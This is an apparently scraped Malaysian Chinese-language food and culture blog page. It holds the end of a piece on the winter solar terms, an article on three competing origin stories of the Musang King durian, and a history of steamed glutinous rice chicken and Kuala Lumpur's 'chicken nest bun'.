冬至是北半球白天最短的日子，过后阴气开始消散，阳气开始生长。是中华民族庆祝团圆的重要节日。
小寒（阳历1月5/6日）：
代表一年中最冷的日子要到了，喜鹊也开始飞到住家门前筑巢，人们看到喜鹊就知道冬天快要结束，新年要到了。
大寒（阳历1月20/21日）：
一年中最后一个节气，也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量，原本只是表面结冰的湖泊现在连水下都结冻了。
看完这些美丽的二十四节气插画和解说，你是不是对这个记录一年气象的古老系统有更多理解了呢？喜欢的话，赶快把这篇文章分享给朋友吧！
猫山王的由来为何会如此众说纷纭？关于猫山王起源地的3种说法，你相信哪一个？
说到榴莲，相信大马不论是国内外的朋友，第一个想到的就是猫山王；而说到猫山王，就想到大马重要的猫山王产地：彭亨州劳勿（Raub）。但是，关于猫山王这个榴莲品种的起源一直是众说纷纭，小编就整理了几个常见的说法，大家觉得哪一个最有道理呢？
彭亨州劳勿
自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用，甚至拿来请香港首富李嘉诚被媒体大肆报导后，猫山王的名气和身价瞬间如鲤鱼跃龙门一样，国内外皆知，也带动了彭亨州劳勿这个小镇的名气。
作为猫山王的重要产地，很自然而然的劳勿，尤其是双溪吉流（Sungai Klau）和双溪兰（Sungai Ruan）地区，被认为是猫山王的发源地。其实早在90年代之前，当地的农民并非以种植榴莲为生，而是主要种植可可树，并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少，许多农民转而栽种榴莲，主要栽种的品种是D24。
一直到一个从吉兰丹州话望生（Gua Musang）带回劳勿栽种的品种渐渐出了名，大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生，所以把这个果肉厚，种子小，肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下，变成了谐音的猫山王。
吉兰丹州话望生
上世纪60，70年代，吉兰丹州的话望生树桐业兴盛，吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲，味道香浓，于是将树眼带回劳勿，成为劳勿第一批种植该品种的先驱，并在日后将它命名为毛生种，也就是猫山王的前身。
另一个关于“猫山王”的名字由来，也是和Gua Musang脱不了关系。据说，当地甘榜的马来同胞会把熟透的榴莲放入果子狸（Musang）的笼子里。如果是猫山王的话，果子狸闻了会大为兴奋，所以就用Musang的谐音，称为猫山王。
吉兰丹州丹那美拉
虽然普遍上，许多人相信猫山王发源自劳勿或话望生，但根据考察，猫山王这个品种，其实是来自栽种在吉兰丹州丹那美拉（Tanah Merah）欢庆岛（Pulau Raya）上的品种：黄姜榴莲（Durian Kunyit）。
根据岛上被称为“岛主”的庄登文先生表示，欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根，并种下黄姜榴莲的树苗，并演变出属于同种的猫山王。
据悉，往年懂门道的食客会在榴莲季节为猫山王抢破头时，前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁，让岛上的果树都受到重创，现在岛上已经很难吃到黄姜榴莲。
这样看下来的话，其实这3种说法都没有冲突。唯一要在意的是，当我们在讨论猫山王的起源时，我们谈的是“猫山王”这个品种，还是这个名称呢？如果是品种，那它就是发源自吉兰丹州丹那美拉；如果是名称，则是彭亨州劳勿；名称的意思，指的则是吉兰丹州话望生。这样，有比较明白吗？如果你好像了解猫山王多一点的话，就赶快文章分享出去吧！
参考资料：DisoverRaubv ，星洲日报1，星洲日报2
糯米鸡竟然是整百年来没变过的活化石？！你又知道鸡窝包是怎么来的吗？
Cover Image via uf.cari.com.my
糯米鸡不管是在港式点心店还是街头巷尾的华人茶室，都能轻易被找到，可说是有蒸笼的地方就能找到糯米鸡。但是，你可知道这要吃就能吃到的早餐：糯米鸡，可是足足有上百年历史的传统美食？
根据大马本地知名美食家林金城先生的文献，糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是，糯米鸡最初是小贩在夜市沿街叫卖的小吃，满足馋嘴食客的宵夜。小贩们把糯米饭，鸡肉，叉烧和冬菇等馅料蒸熟，即可享用。
糯米鸡 （source：JennyOng食谱）
后来这道小吃在广东，香港等地盛行开来，也从夜市走入茶楼，饭馆，宴会中。于是，为了清理碗盘的方便，出现了以荷叶包裹，类似荷叶饭的糯米鸡。但是，由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法，以致我们今天还能吃到呈包装（倒过来的碗装）糯米鸡，馅料也保留了鸡肉，叉烧，冬菇这些主要馅料。所以，糯米鸡这道超级普遍的早点，可说是一道不折不扣的活化石呢！
鸡窝包（source：有人部落 ）
当然，糯米鸡在马来西亚也演化出本地独有的版本：鸡窝包！发源于雪隆大城堡（Sri Petaling）的大家城茶餐室，鸡窝包正是这里的招牌点心。鸡窝包的外表看起来，就像一个包着糯米鸡的打包。其实，店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身，在里面放入鸡肉，叉烧，冬菇，咸蛋黄等，铺上糯米去蒸。
蒸熟后从蒸碗里倒出，从地下看是厚实的糯米包底，从上面则可以从店家剪开的开口中，一窥包里乾坤，看到躲藏在里面的鸡肉和馅料，就像是一个鸡窝一样，所以取名叫做鸡窝包。鸡窝包推出后，立即挂起一阵旋风，让其他的茶楼，茶室纷纷仿效，连远在雪隆区的茶室也都有机会吃到。
窝仔包和黄金包（source：3atnow）
除了把糯米鸡包进大包里，创意无限的大家城茶楼老板：聂城先生除了鸡窝包这个得意之作外，也推出将马拉糕包进包子里，再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心，都能看到老板对于在传统美食中注入创新的热忱。
如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包，记得找个机会到大城堡，试试看最正宗的味道哦！
大家城点心茶楼
创始年：2002年
地址：140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur
营业时间：08:00pm – 2:00pm
参考资料：有人部落 ，叉烧柄的美食天堂 ，维基百科
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